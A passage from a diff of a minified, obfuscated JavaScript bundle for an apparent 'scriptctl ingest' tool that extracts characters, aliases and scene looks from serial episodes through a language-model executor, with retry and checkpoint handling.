p44co55+/6l2M6l2M6l2U44cp5PIV5zcm5lIa5Ase77YB5BIM5lIn5BIM5BMZ5y+Wl+wmUUwFN+wjJEE8GowMGUoaJKrHD25MywXSie9UBgLUzsaTioAJUUACQoMtUUoaJZ3JGi7MO7RMNkJPK7RJGi/VViNVVjVIKAhLIAFMG4xNOA7LRPRLKiZKUidLPitVViJLKiZKUidLNlRMIi/LNkJLKiZKUidNQBRPL7tLJ5hNLj/VViNJGiiQkUs4JEAyR+wqJos4Gos4QUwCUUwWSEwqHoIhQUElRoERIYOQ77Yi55+/6l2O5l+U6ycG6zo6iowsJcdMO7RMNkJPK7OG5PIV5lIK5lIQ5zYW5PA577Ym5lIn5zci77Yj44cc5yIR5zUG5lI65yAz5Rov5BIM5lQg6zw/5yMn57Ya5BcX5B2t5OIq5PAW5zYW54k544cc","AgfZ","BwfW","Aw5KzxG","icdcTYaQkUwpQUAGH+MaOowEI+ECN+EAHoAuUEwpMoEAHoMcO+s4GowCUIOQ77Yi5O2I6kofl+wpMoI6QY/LJ5FMJz8V5zUE5B2s5PEL5BI477Yj44cc5l6l77YA5AsN6AQO5As05zYOihnJBL8WntaG5y+y6lQR54sW5PYV5BIiiokgKIb7C2nLBMu6C2nUxZa1mcWGzw50Axr5oUwKP+MQQowKTcWGBg9VAZRNHldMNk/LUiJMGif977YB5zco6z2I6iUL5O2I5zUE5BI45Ocb77Ym5zYO6ykJ5lIa5zY65yAn5QchihSUlI4SigXVB2S65BI45OcbFEoaGG","44cq5PYS5Q615Q2J5PAh44cr77Yi5y+V6io95zcR5AsA6zUg77Ym5Q+p6zUg5lULigaJigvWx05otMaG5BYa5As077Yj","txHkALe","BMv3rw50AxrPzxmUywXPyxnLCW","Aw5Nzxn0lMvWAxnVzguTyxnZzxrZ","icdcTYbKzxnJCMLWDgLVBJ3KUidLJ6xOR53OR7tMMi4QkUI/MEs4QUwUNUs9K+ACRoI6Q+AyR+IWGsaVios7Gos5IoI6Q+s7VsaVios7Gos5Ios4NoILVYOQ77Ym6z2E56M644cc5lQ654MP5y+Q5yAz6lQR5lU944cb6kEs6iMY44cb5ywZ57o777Ym5lIn5yAz5PYn6kof6ycG5z6l77YB57UD5lIn5yAz5A6d5OMa5Ase55Qe5zY65PMVic8G546V5Akdic8G5zYW54k5ic8G5B2t5PE25zYO5y+r55sF5lUa5lMi44cc5y6F5PAh5PYj6lQR5lU95l+H5OgV5BcX54wN5OQeic8G5QAc5OUS77YB5y6F5PAh5RkH5yAz5BcX5O2U5y+W6k+nic8G56EW5zg8ic8G5OIp5lU96kgL5lIa5y+L5PYa566a6lQR5lU977Yi5AAc44co6iUp5A625lIT6zE05lQ644cp44co5OcL6k+k5OQK5AoR44cp44co6lw16zw/5RkZ55Qe5OMl5lIl44cp77Yj44cc5zY65PMV5yAz56M66zE055sO6ycu77YB6ygt5yw35yAz54MP5lU255sO6ycu44cc","kIPUzxDfBNrPDgLLCYdIGjtIGjqG5PYS5Q6144cq5BEY55+L6k6+5A6A44cr6yEm6l+y5RkH5PYj55Qe5A6E5l2t77Ym5Q+p5lIQ55M76k6W5lIa5P2HkIRVVjO","t2zerKm","icdcTYdMSQhLJ5JLJjBNMOtLNlOQkUs4JEEuQoAGHYOQ4Ocu4Ocu57o757UF6iEQ5yQO5Rk/55sO5lIk5lIa5QYH55Qe6ycG5z6l5lIa55U05yIW5lIl5lIa5QYH5y+y5yYw44cc6AAw5QYH5yE6546W6BUy6k6K5BI45Ocb77Ym5lMF5lIn55sO54M55Osp5Qch44cc6l+B5ywL5zUE5B+g44cb5BM75OoZ5OIw57o757UF6Ake5RYu5PE25OYj5yw25A6E6zMf6zI25Q615PI+5BYp6ycj6ycG5z6l77Ym5zUE5yIW546W5A6E5zco5PI+5BYp5OgI5Asn546W5A6E6zI25Q6177Ym5lIn6io95Bcg6Ake5RYu57Ui5Ocb5Rk/55sO5yIW546W5A6E44cc5Asw6lkm5OM/5OUf5yMN5Oof5zUG5P6C5PE277Ym5ywi5A+554wN5Q2J5PAh5Qoa5P+L5yID5AEl44cb5Q+p5QYH5y+y5yYw5yMn5zco5zkm5zUE5B+g77Ym5yAn5O+q5lQKierLBhrH77YB5lIn5Qc55O2U5ywO5yMN5QAc6l+W54YC5PYQ5yE6546W55Qe5y+y5yYw44cc","ALntAxe","zgvMyxvSDeXVB2S","ChvZAa","DgvZDa","B2jQzwn0","icdPU5JORQtPGkdLNOVLJ6RLHPNLNkGGBMv3rw50AxrPzxmUzgvMyxvSDeXVB2VVViZKUi3OPOhLNkGGBg9VA3mG6yEm6yEn5Asn77YBBg9VA3mG5y+Q55M76k6W5O2I6kof44cb5yMN5Oof5Asw6lkm6zI25Q615y+y5yYw44cb5zY65PMV6kkR5Q+b44cb6ygt5yw356c05O2Fl+wpKEwfIEETIEMINEwKLUMaOowEI+oaGUs6UUEjQt3MLBtKVzpMIA7NM7JVVjVLNlRMMA89546V5Akd5Asw6kEc77YB6ygt5yw3pEEjQEs7TUwKLUINGUoaGG","Aw50BW","BMv3rw50AxrPzxmU","Bg9VA3pVVjRPU5JORQtPGkdLNOVKUyVLPjBJGihPNidOPOhLJzxNI6ZLPi3NJRdNMOtMLRdLOP7PGkdLNOVJGijLBNrPDhK95A6E5l2tignHBM9UAwnHBcdLKi3VVjTUyw1LpEMaOowEI+wqJE+8M2fSAwfZzxm95zcm5lMj6ycG5z6l5zcn77YBzgvZy3jPChrPB2496l+z5Awx5Asw6kEc5lIa5y+L6k+D44cc","5AEl57Ui5l2/55sO44cq5BEY55+L6k6+5A6A44cr6yEm55Qe5PEI5PYjignHBM9UAwnHBcdLKi3LRzFVVjVLKiZKUidKUkRKURRLHAJLIAFKV53MJihLKiZKUidLKi3LRzFJGii","57Ut5zci44cq5BEY55+L6k6+5A6A44cr77Yi5yIW55UU5yMn5lI65Q2I5l2G5BEY5BU656Ul55Qe55M76k6W77Yj5lIo44cq5PYS5Q615Q2J5PAh44cr77Ym6lcd55sOigbLBwL0x2rLBhrHycdLT6xLHBFOV5tLM57KUidKUkRNU5pMNOtLJjBLR7NOSAhOPOBNM5BOV5NKUidMLBtMRRxNMOtMIydMNiNLHRpNRzBJGilNQBRMLBdNU4tLSlhKVkaGyfTDyooaGG","Bg9VA0nOyw5Nzxm","C3vTBwfYEE+8MUACRoAUTEs4GowpPEIVNEAIL+AMGU+8M+IlPEACRoAUTEwqQ+wKMUMBHU+8JoAMGUAlRos4UUAvToAUTEs4GowpPEIVNEoaGG","C2nLBMu","icdPGkdLNOVLKi096zYa6kAb576o5PYV5y2v54US55s75lIa5BYG5zU+55Qe5Asw6kEc5QgJ5l2n77Yi5BI45Ocb44cb5AMA5PYn44cb6kw/6kof44cb6B6z5B2I77YB5zY65PMV55QeioEzVEwKQs/LPjZMMzOV6kkR5Q+b77YB6ygt5yw355QeioEGToAnNY/LJ5hLHyNVViNJGiiQkUMaOowEI+wqJEw/HEMHU+EuQos4REAwHYOQ77YA5Q2J5PAh6yEm55Qe6iUX5PAh5lIt5zcn77Yi5Awx6kofl+IbJos4MI/LVAlMGihLKi3VViZLPOiGu2vHBIDZifjLDMvUz2xJGifgBgfTzwnHC3rLCUoaGuDYyxzLifbYAwvZDooaGvnOAwvSzgD1yxjK77Yj5lIa5B6l6k+r5OIq5lIT5PAh5yAn5l2C6ycG5z6l5zcn77Yi6ikw5OgP55Qe5Asn5lUh5Awx6kof44cb54sW5PYV5BIi44cb5Akt56wT5y+444cb55U+5y2R77Yj44cc","oIbLEhbLy3rLzcbku09oigfYCMf5ihn0CMLUzYWGCgfYC2uGzMfPBgvKoIa","lM5HBwu","oIbLEhbLy3rLzcbku09oigfYCMf5ihn0CMLUzYWGz290ia","icdcTYdLT7lNMBVORRdOV4FNMOtLRP7KVzpKUi3OPOhPH43LPi3NMBVORRdVVjVOI6xLROpOV5NMRRxMNiNKUOBMLRdLJ6VMS5xVViZNLkGGBwvYz2vZioIHPE+8Jos4JEEuQowCQcbUzxDfBNrPDgLLCYdLHO3LIjFKUidPGy3JGii","lMrLC2nYAxb0Aw9U","Bg9VA3mUywXPyxnLCW","DgPUuMy","C3vIrxzLBNrZ","C3vTBwfYEq","C2XPy2u","ChjVCa","kIRJGjdMNkZMRRxMRApMLOFJGjhLJ6/OG73LJixLKkVOI6xLUBlPM4yQkU+8IoAVJ+MBHUs7PsbGiYbLCf9otK5Giow8GowKTo+8IE+8M+AkIUwUG+s7Row9K+s9NoI/NUE7REAoQoI/M+EAHos4GoAUTEAvTos9K+wKHoEqHU+8JoI3QoMBHUAYV+EuQowqJos4GcbJyw5VBMLJywWG5zcn5A2x44cc","CgfYC2u","C3bSAxq","Bg9VAW"];return Wp=function(){return e},Wp()}function Xp(e){let t=z,n=no(e),o=wI[t(14)](n);if(!o)return{name:n,aliases:[]};let i=n[t(98)](0,o[t(64)])[t(50)]();if(!i)return{name:n,aliases:[]};let r=(o[1]??"")[t(102)](/[//,,、;;]/)[t(63)](s=>s[t(50)]())[t(18)](Boolean);return{name:i,aliases:r}}var _i=e=>Xp(no(e))[z(32)];function _I(e){let t=z;if(Ei(e))return e;if(typeof e===t(9))if(t(74)!==t(72)){let n=e[t(50)]();if(!n)return null;let o;try{t(41)!==t(8)?o=JSON[t(101)](n):_0x2b8a69+='\\"'}catch(i){throw t(23)!==t(23)?new _0x35d905(t(21)+typeof _0x315295):new Ve(t(53)+(i instanceof Error?i[t(20)]:String(i)))}if(!Ei(o)){if(t(3)===t(3))throw new Ve(t(21)+typeof o);{let i=_0x2bdcc7(_0x2ac405);if(i===_0x1e5cf5)throw new _0x4316f0(_0x174809+t(89)+(_0x4121a6 instanceof _0x360b19?_0x4fe8c8[t(20)]:_0x4a58de(_0x51367b)));try{_0x35ac52=_0x593204(i)}catch(r){throw new _0x445300(_0x1d355a+t(26)+(r instanceof _0xcc0770?r[t(20)]:_0x4eee3d(r)))}}}return o}else _0x2ddf79+=_0x1d0308,_0x1ed397=!1;return null}function as(e){let t=z,n=Mg(),o=_I(e);if(!o)return n;for(let i of wi(o[t(25)],t(25))){if(!Ei(i))continue;let r=no(i[t(52)]),{name:s,aliases:c}=Xp(no(i[t(32)]));if(!mI[t(62)](r)||!s)continue;let a=Ca(i[t(15)],t(81)+s+t(93)),d=gI(i[t(75)],t(81)+s+t(43)),p=[...c];for(let f of wi(i[t(16)],t(68))){let{name:u,aliases:y}=Xp(no(f));u&&p[t(76)](u),p[t(76)](...y)}let l=[...new Set(p[t(18)](f=>f&&f!==s))];n[t(25)][t(76)]({name:s,kind:r,description:a,aliases:l,defaultLook:d})}for(let i of wi(o[t(57)],t(57))){if(!Ei(i))continue;let r=_i(i[t(11)]),s=_i(i[t(80)]);r&&s&&r!==s&&n[t(57)][t(76)]({from:r,into:s})}for(let i of wi(o[t(42)],t(42))){if(t(95)!==t(95))throw new _0x2df008(_0x519dc7+t(26)+(_0x40bcf4 instanceof _0x3611af?_0x4f83a8[t(20)]:_0x281cd0(_0x1f7db9)));{if(!Ei(i))continue;let r=_i(i[t(17)]),s=_i(i[t(32)]);if(!r||!s)continue;let c=[s,...wi(i[t(16)],t(94))[t(63)](_i)[t(18)](Boolean)];n[t(42)][t(76)]({entity:r,names:c,description:Ca(i[t(15)],t(7)+r+"."+s+t(93))})}}for(let i of wi(o[t(85)],t(85))){if(!Ei(i))continue;let r=no(i[t(87)]),s=_i(i[t(17)]),c=_i(i[t(103)]);r&&s&&c&&n[t(85)][t(76)]({scene:r,entity:s,look:c})}return n[t(96)]=wi(o[t(96)],t(96))[t(63)](no)[t(18)](Boolean),n[t(97)]=no(o[t(97)]),n}var We=pn,EI=[We(1),We(29),We(18),We(32),We(0),We(7),We(15),We(8),We(3)][We(21)](`
251
251
  `);function xI(e,t){let n=We;return[n(13),e[n(27)]()||n(19),"",n(4),t[n(14)](o=>"- "+o)[n(21)](`
252
252
  `)][n(21)](`
253
- `)}async function eh(e,t,n,o){let i=We,r=await e[i(24)](i(26),{system:EI,user:xI(t,n),tool:{name:i(11),description:i(12),inputSchema:Wg},...o?{signal:o}:{}});return{delta:nl(r[i(5)],n),raw:JSON[i(30)](r[i(5)])}}var Va=e=>e[We(23)](We(6))[We(31)](/\s+/g," ")[We(27)]();function nl(e,t=[]){let n=We,o=ds(e),i=new Set;for(let s of o[n(22)])i[n(9)](Va(s[n(33)]));for(let s of o[n(25)]){i[n(9)](Va(s[n(10)]));for(let c of s[n(28)])i[n(9)](Va(c))}let r=t[n(20)](s=>!i[n(2)](Va(s)));if(r[n(17)])throw new Ve(n(16)+r[n(21)]("\u3001"));return o}function pn(e,t){e=e-0;let n=tl(),o=n[e];if(pn.brkHeO===void 0){var i=function(c){let a="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=",d="",p="";for(let l=0,f,u,y=0;u=c.charAt(y++);~u&&(f=l%4?f*64+u:u,l++%4)?d+=String.fromCharCode(255&f>>(-2*l&6)):0)u=a.indexOf(u);for(let l=0,f=d.length;l<f;l++)p+="%"+("00"+d.charCodeAt(l).toString(16)).slice(-2);return decodeURIComponent(p)};pn.xoIkcy=i,pn.GcFqUp={},pn.brkHeO=!0}let r=n[0];pn.pyAYZq!==r&&(pn.GcFqUp={},pn.pyAYZq=r);let s=pn.GcFqUp[e];return s===void 0?(o=pn.xoIkcy(o),pn.GcFqUp[e]=o):o=s,o}function tl(){let e=["5PAW5lQ654MP55QeignHBM9UAwnHBcbUyw1LioEBToAoPEs9V+EuQooaKow+HEw9KUs4GowqJEwTL+oaKEMhJoEAHowoN+AwH+wNK+wqJEAlVowgME+8M+wKLUIVREwNK+wqJEs4JEE/U+IVKEoaGEs4JEMFS+IVKEoaGEs4JEAuUEAiKos4REAwH+wqJEoaGG","5l2G5PIV5yMN5PYS5A6E5l2t5B2s5lIa5l+U5Asn5zMO44cc44cq5BEY55+L6k6+5A6A44cr5PIV5BEY5BU656Ul55Qe5A6E5l2t55M76k6W77YiCMvNAxn0zxlVViNJGilKUiVPNAlJGjdLVOxLVzlKUidLKi3LRzFJGjhMMk/MRApMLOFPH4ZLH7RNJRdJGihKVyBOV5JMSQhOG73LR7NLUPtLIlaGCMvNAxn0zxiG6yEm5lU75l2v5A6E5l2t55Qe5zcn5A2x44cc","AgfZ","5y+Q6l6t5yE6ig1LCMDLCYdLKOWGBMv3rw50AxrPzxmG5lIK6Ag577Ym6kAg55UwkIRMR4/KUidKUkOQkUw+HEw9KUs4GowqJEwTL+oaGG","44cq5B6f5B2s5lIa5zcn5A2x44cr77Yi5Q2J5PAh6yEm5yE6546W5l2g5PYQ5A+55BQu5yIW5lU75l2v5BEY55M76k6W5A6E5l2t77Ym6ycq5lIQ5Ase55cg77Yj","Aw5WDxq","tKzd","5lQ654MPigrLC2nYAxb0Aw9UiowpQUwgMEI6Q+s7VEoaGEINKUIjSUwsJowfS+EZU++8M2rLzMf1BhrmB29RlMrLC2nYAxb0Aw9UiowgMEwKLUIYJooaGEACJEMLSoETIEwpR+EBToAoPEwKJEEoSoEAHoM7MoIUPoMaOowEI++8Jos4PoIaHEs4JEIdVEs6KUEBUos7O+ABV+oaGG","5zYW54k55zcm55cg77YA5zcm5lIa5lIQ5zYW5PA555Qe5lIn5zcm5yAz5Rov77Yi5BIM5lIn5BIM5BMZ5y+Wl+wmUUwFN+wjJEE8GooaGEoaJUI9PUI9RUAxGEoaJZ3JGi7NN7/OVABOVABOVA7ML4hJGi/VViLTzxjNzsdLIldLT7lMNiNPGQpMNAhVVjVNOA7LRP7MMk/MLRdLNldMLRNMIy0GBMv3rw50Axr544cc","ywrK","BMfTzq","zw1PDf9MAxG","5OQk5B6f5B2s5lIa5zcn5A2xig1LCMDLiowiSow3SUACIEAiLUEzU+IUSos4UUAwSowUNUs9KW","44cq5BEY55+L6k6+5A6A44cr77Yi5BEY55M76k6W55Qe5A6E5l2t77Yj","BwfW","kIRKUi3LKiZOP5lOIBlNU53KUi3KUPlNM7JLVzpLIkVLKi0QkUoaGUAlV+s4JEwhHUAyR+wtQUs4Gos4QUw3SUACIEwUNUs9K+AxTU+8JowUGEwpR+w9K+AwSowUNUs9K+EzU+IUSo+8Jos5N+s4JEIMGsbTzxjNzsdPLjNKURRJGii","BMfTzs1MAxGGzgLKig5VDcbJB3zLCJOG","BgvUz3rO","icdcTYaQkUAyRYOQ77Yi5A2x6z2I5y+y5l2t5AAciowKP+MQQd3LPkFPQQJLPltJGihOI4/OI6xPM6O96iUL6zUQ77YB5OIw5yMN5Oofl+I6Q+s7VEIdVEEHRUwUMUAyR+wqJos4Gos4QU+8JowMGUwjJEs4LUwqJs/LJjBLKi0V5ywO5zcn55+T5zcn77Yj4OAsioAuVUI/MYbGBwvYz2vZyo+8MNTMCM9ToIdOV5NKUkRLKi3LRzCSigLUDg86iow3SUEzU+IUSowUNUs9K+EAHcbJyw5VBMLJywX944cc","77Yi56M677Yj","zMLSDgvY","AM9PBG","BwvYz2vZ","BM9YBwfSAxPL","z2vUzxjHDgvuB29S","BMv3rw50AxrPzxm","Aw5Nzxn0lM5HBwuTzML4","DhjPBq","ywXPyxnLCW","5A+5kIRMR4/KUidKUkOQkUw+HEw9KUs4GowqJEwTL++8JowiPoAwREwUG+AyR+s4JEAyRYbYzwDPC3rLCIdPH4ZMN5dKUkRLT7lNMBVORRdLRP7KVzpNMOtLJ6BKUidNP43LJ6VMS5xVVjO","C3rYAw5NAwz5","CMvWBgfJzq","icdcTYaQkUs4JEAyRYOQ77Yi5A6d56gU5A6E5PIVihjLz2LZDgvYioMhJos7JUAYOEEzU+IUSoI/H+EAHos4Gos4QUAwSowUNUs9K++8IEkgKIdMLl7OV5SGyg5LD0vUDgL0AwvZyo+8MNTRAw5KlcbUyw1LkoE6RYbJyw5VBMLJywWPlcbKzxnJCMLWDgLVBIJKUidLJ6xOR53OUQVKU70PlcbHBgLHC2vZlcbKzwzHDwX0tg9VAZP7BMfTztON5BI45OcbjYWGzgvZy3jPChrPB2465y+V6kEb5Asw6kEcFx3JGii","zNjVBq"];return tl=function(){return e},tl()}var It=e=>typeof e=="object"&&e!==null&&!Array.isArray(e),At=e=>Array.isArray(e),SI=5,Si=e=>e.normalize("NFC").replace(/\s+/g," ").trim(),th=e=>{try{return JSON.parse(e)}catch{return null}},II=new Set(["timeout","rate_limited","request_failed","endpoint","empty_response","invalid_response","truncated","serial_delta_shape"]),sh=e=>!!e&&typeof e=="object"&&"code"in e&&II.has(String(e.code)),ah=e=>new Promise(t=>setTimeout(t,e)),dr=(e,t)=>e===t?`episode ${e}`:`episodes ${e}-${t}`;async function nh(e,t,n,o,i,r){for(let s=1;;s++)try{return await Xg(e,o,i,r)}catch(c){if(sh(c)&&s<3&&!r?.aborted){await ah(3e3*s);continue}throw new S(`serial govern failed at ${dr(t,n)}.`,{exitCode:b,errorCode:"INGEST_SERIAL_FAILED",hint:c instanceof Ve?`Model returned a malformed serial delta (${c.message}). Rerun \`scriptctl ingest\` (optionally --force) to retry ${dr(t,n)}.`:`Rerun \`scriptctl ingest\` to resume from ${dr(t,n)} (earlier windows are cached).`,data:{actual:[c instanceof Error?c.message:String(c)]}})}}function ch(e,t){let n=t.merges.map(o=>o.into).filter(o=>!zt(e,o));if(n.length)throw new Ve(`name-fix merge target is not registered: ${[...new Set(n)].join("\u3001")}`)}async function oh(e,t,n,o,i,r,s){for(let c=1;;c++)try{let a=await eh(e,o,i,s);return ch(r,a.delta),a}catch(a){if(sh(a)&&c<3&&!s?.aborted){await ah(3e3*c);continue}throw new S(`serial name repair failed at ${dr(t,n)}.`,{exitCode:b,errorCode:"INGEST_SERIAL_NAME_FIX_FAILED",hint:a instanceof Ve?`Model returned an incomplete name repair (${a.message}). Rerun \`scriptctl ingest\` to retry ${dr(t,n)}.`:`Rerun \`scriptctl ingest\` to resume from ${dr(t,n)} (earlier windows are cached).`,data:{actual:[a instanceof Error?a.message:String(a)]}})}}async function dh(e,t){let n=Ng(),o=e.episodes??[],i=0,r=o.map(vI),s=Pg(r.map(Ug),t.windowTokens);for(let a=0;a<s.length;a++){let[d,p]=s[a],l=La(n,p),f=r.slice(d-1,p).join(`
253
+ `)}async function Xg(e,t,n,o){let i=We,r=await e[i(24)](i(26),{system:EI,user:xI(t,n),tool:{name:i(11),description:i(12),inputSchema:Zg},...o?{signal:o}:{}});return{delta:tl(r[i(5)],n),raw:JSON[i(30)](r[i(5)])}}var Ta=e=>e[We(23)](We(6))[We(31)](/\s+/g," ")[We(27)]();function tl(e,t=[]){let n=We,o=as(e),i=new Set;for(let s of o[n(22)])i[n(9)](Ta(s[n(33)]));for(let s of o[n(25)]){i[n(9)](Ta(s[n(10)]));for(let c of s[n(28)])i[n(9)](Ta(c))}let r=t[n(20)](s=>!i[n(2)](Ta(s)));if(r[n(17)])throw new Ve(n(16)+r[n(21)]("\u3001"));return o}function pn(e,t){e=e-0;let n=el(),o=n[e];if(pn.brkHeO===void 0){var i=function(c){let a="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=",d="",p="";for(let l=0,f,u,y=0;u=c.charAt(y++);~u&&(f=l%4?f*64+u:u,l++%4)?d+=String.fromCharCode(255&f>>(-2*l&6)):0)u=a.indexOf(u);for(let l=0,f=d.length;l<f;l++)p+="%"+("00"+d.charCodeAt(l).toString(16)).slice(-2);return decodeURIComponent(p)};pn.xoIkcy=i,pn.GcFqUp={},pn.brkHeO=!0}let r=n[0];pn.pyAYZq!==r&&(pn.GcFqUp={},pn.pyAYZq=r);let s=pn.GcFqUp[e];return s===void 0?(o=pn.xoIkcy(o),pn.GcFqUp[e]=o):o=s,o}function el(){let e=["5PAW5lQ654MP55QeignHBM9UAwnHBcbUyw1LioEBToAoPEs9V+EuQooaKow+HEw9KUs4GowqJEwTL+oaKEMhJoEAHowoN+AwH+wNK+wqJEAlVowgME+8M+wKLUIVREwNK+wqJEs4JEE/U+IVKEoaGEs4JEMFS+IVKEoaGEs4JEAuUEAiKos4REAwH+wqJEoaGG","5l2G5PIV5yMN5PYS5A6E5l2t5B2s5lIa5l+U5Asn5zMO44cc44cq5BEY55+L6k6+5A6A44cr5PIV5BEY5BU656Ul55Qe5A6E5l2t55M76k6W77YiCMvNAxn0zxlVViNJGilKUiVPNAlJGjdLVOxLVzlKUidLKi3LRzFJGjhMMk/MRApMLOFPH4ZLH7RNJRdJGihKVyBOV5JMSQhOG73LR7NLUPtLIlaGCMvNAxn0zxiG6yEm5lU75l2v5A6E5l2t55Qe5zcn5A2x44cc","AgfZ","5y+Q6l6t5yE6ig1LCMDLCYdLKOWGBMv3rw50AxrPzxmG5lIK6Ag577Ym6kAg55UwkIRMR4/KUidKUkOQkUw+HEw9KUs4GowqJEwTL+oaGG","44cq5B6f5B2s5lIa5zcn5A2x44cr77Yi5Q2J5PAh6yEm5yE6546W5l2g5PYQ5A+55BQu5yIW5lU75l2v5BEY55M76k6W5A6E5l2t77Ym6ycq5lIQ5Ase55cg77Yj","Aw5WDxq","tKzd","5lQ654MPigrLC2nYAxb0Aw9UiowpQUwgMEI6Q+s7VEoaGEINKUIjSUwsJowfS+EZU++8M2rLzMf1BhrmB29RlMrLC2nYAxb0Aw9UiowgMEwKLUIYJooaGEACJEMLSoETIEwpR+EBToAoPEwKJEEoSoEAHoM7MoIUPoMaOowEI++8Jos4PoIaHEs4JEIdVEs6KUEBUos7O+ABV+oaGG","5zYW54k55zcm55cg77YA5zcm5lIa5lIQ5zYW5PA555Qe5lIn5zcm5yAz5Rov77Yi5BIM5lIn5BIM5BMZ5y+Wl+wmUUwFN+wjJEE8GooaGEoaJUI9PUI9RUAxGEoaJZ3JGi7NN7/OVABOVABOVA7ML4hJGi/VViLTzxjNzsdLIldLT7lMNiNPGQpMNAhVVjVNOA7LRP7MMk/MLRdLNldMLRNMIy0GBMv3rw50Axr544cc","ywrK","BMfTzq","zw1PDf9MAxG","5OQk5B6f5B2s5lIa5zcn5A2xig1LCMDLiowiSow3SUACIEAiLUEzU+IUSos4UUAwSowUNUs9KW","44cq5BEY55+L6k6+5A6A44cr77Yi5BEY55M76k6W55Qe5A6E5l2t77Yj","BwfW","kIRKUi3LKiZOP5lOIBlNU53KUi3KUPlNM7JLVzpLIkVLKi0QkUoaGUAlV+s4JEwhHUAyR+wtQUs4Gos4QUw3SUACIEwUNUs9K+AxTU+8JowUGEwpR+w9K+AwSowUNUs9K+EzU+IUSo+8Jos5N+s4JEIMGsbTzxjNzsdPLjNKURRJGii","BMfTzs1MAxGGzgLKig5VDcbJB3zLCJOG","BgvUz3rO","icdcTYaQkUAyRYOQ77Yi5A2x6z2I5y+y5l2t5AAciowKP+MQQd3LPkFPQQJLPltJGihOI4/OI6xPM6O96iUL6zUQ77YB5OIw5yMN5Oofl+I6Q+s7VEIdVEEHRUwUMUAyR+wqJos4Gos4QU+8JowMGUwjJEs4LUwqJs/LJjBLKi0V5ywO5zcn55+T5zcn77Yj4OAsioAuVUI/MYbGBwvYz2vZyo+8MNTMCM9ToIdOV5NKUkRLKi3LRzCSigLUDg86iow3SUEzU+IUSowUNUs9K+EAHcbJyw5VBMLJywX944cc","77Yi56M677Yj","zMLSDgvY","AM9PBG","BwvYz2vZ","BM9YBwfSAxPL","z2vUzxjHDgvuB29S","BMv3rw50AxrPzxm","Aw5Nzxn0lM5HBwuTzML4","DhjPBq","ywXPyxnLCW","5A+5kIRMR4/KUidKUkOQkUw+HEw9KUs4GowqJEwTL++8JowiPoAwREwUG+AyR+s4JEAyRYbYzwDPC3rLCIdPH4ZMN5dKUkRLT7lNMBVORRdLRP7KVzpNMOtLJ6BKUidNP43LJ6VMS5xVVjO","C3rYAw5NAwz5","CMvWBgfJzq","icdcTYaQkUs4JEAyRYOQ77Yi5A6d56gU5A6E5PIVihjLz2LZDgvYioMhJos7JUAYOEEzU+IUSoI/H+EAHos4Gos4QUAwSowUNUs9K++8IEkgKIdMLl7OV5SGyg5LD0vUDgL0AwvZyo+8MNTRAw5KlcbUyw1LkoE6RYbJyw5VBMLJywWPlcbKzxnJCMLWDgLVBIJKUidLJ6xOR53OUQVKU70PlcbHBgLHC2vZlcbKzwzHDwX0tg9VAZP7BMfTztON5BI45OcbjYWGzgvZy3jPChrPB2465y+V6kEb5Asw6kEcFx3JGii","zNjVBq"];return el=function(){return e},el()}var It=e=>typeof e=="object"&&e!==null&&!Array.isArray(e),At=e=>Array.isArray(e),SI=5,xi=e=>e.normalize("NFC").replace(/\s+/g," ").trim(),eh=e=>{try{return JSON.parse(e)}catch{return null}},II=new Set(["timeout","rate_limited","request_failed","endpoint","empty_response","invalid_response","truncated","serial_delta_shape"]),rh=e=>!!e&&typeof e=="object"&&"code"in e&&II.has(String(e.code)),sh=e=>new Promise(t=>setTimeout(t,e)),ar=(e,t)=>e===t?`episode ${e}`:`episodes ${e}-${t}`;async function th(e,t,n,o,i,r){for(let s=1;;s++)try{return await Wg(e,o,i,r)}catch(c){if(rh(c)&&s<3&&!r?.aborted){await sh(3e3*s);continue}throw new S(`serial govern failed at ${ar(t,n)}.`,{exitCode:b,errorCode:"INGEST_SERIAL_FAILED",hint:c instanceof Ve?`Model returned a malformed serial delta (${c.message}). Rerun \`scriptctl ingest\` (optionally --force) to retry ${ar(t,n)}.`:`Rerun \`scriptctl ingest\` to resume from ${ar(t,n)} (earlier windows are cached).`,data:{actual:[c instanceof Error?c.message:String(c)]}})}}function ah(e,t){let n=t.merges.map(o=>o.into).filter(o=>!zt(e,o));if(n.length)throw new Ve(`name-fix merge target is not registered: ${[...new Set(n)].join("\u3001")}`)}async function nh(e,t,n,o,i,r,s){for(let c=1;;c++)try{let a=await Xg(e,o,i,s);return ah(r,a.delta),a}catch(a){if(rh(a)&&c<3&&!s?.aborted){await sh(3e3*c);continue}throw new S(`serial name repair failed at ${ar(t,n)}.`,{exitCode:b,errorCode:"INGEST_SERIAL_NAME_FIX_FAILED",hint:a instanceof Ve?`Model returned an incomplete name repair (${a.message}). Rerun \`scriptctl ingest\` to retry ${ar(t,n)}.`:`Rerun \`scriptctl ingest\` to resume from ${ar(t,n)} (earlier windows are cached).`,data:{actual:[a instanceof Error?a.message:String(a)]}})}}async function ch(e,t){let n=Lg(),o=e.episodes??[],i=0,r=o.map(vI),s=Ug(r.map(Ng),t.windowTokens);for(let a=0;a<s.length;a++){let[d,p]=s[a],l=Ma(n,p),f=r.slice(d-1,p).join(`
254
254
 
255
255
  `),u=t.sourceRef?`# \u539F\u6587\u8BBE\u5B9A\uFF08\u53C2\u8003\uFF0C\u6765\u81EA\u539F\u7A3F\u5F00\u5934\uFF09
256
256
  ${t.sourceRef}
257
257
 
258
- ${l}`:l,y=Date.now(),m=t.force?void 0:t.checkpoint?.readUpdate(d,p),g,w=!1;if(m!==void 0){let _=th(m);try{if(_==null)throw new Ve("checkpoint top-level JSON is unparseable");g=ds(_),w=!0,i++,t.executor.recordReuse("ingest.episode-assets")}catch(x){if(!(x instanceof Ve))throw x;let E=await nh(t.executor,d,p,u,f,t.signal);g=E.delta,t.checkpoint?.writeStep(d,p,l,E.raw)}}else{let _=await nh(t.executor,d,p,u,f,t.signal);g=_.delta,t.checkpoint?.writeStep(d,p,l,_.raw)}as(n,g,d,p);let h=AI(o.slice(d-1,p),n);if(h.length){let _=t.force?void 0:t.checkpoint?.readNameFix?.(d,p);if(_!==void 0){let x=th(_);try{if(x==null)throw new Ve("name-fix checkpoint top-level JSON is unparseable");let E=nl(x,h);ch(n,E),as(n,E,d,p),i++,t.executor.recordReuse("ingest.name-fix")}catch(E){if(!(E instanceof Ve))throw E;let A=await oh(t.executor,d,p,La(n,p),h,n,t.signal);t.checkpoint?.writeNameFix?.(d,p,A.raw),as(n,A.delta,d,p)}}else{let x=await 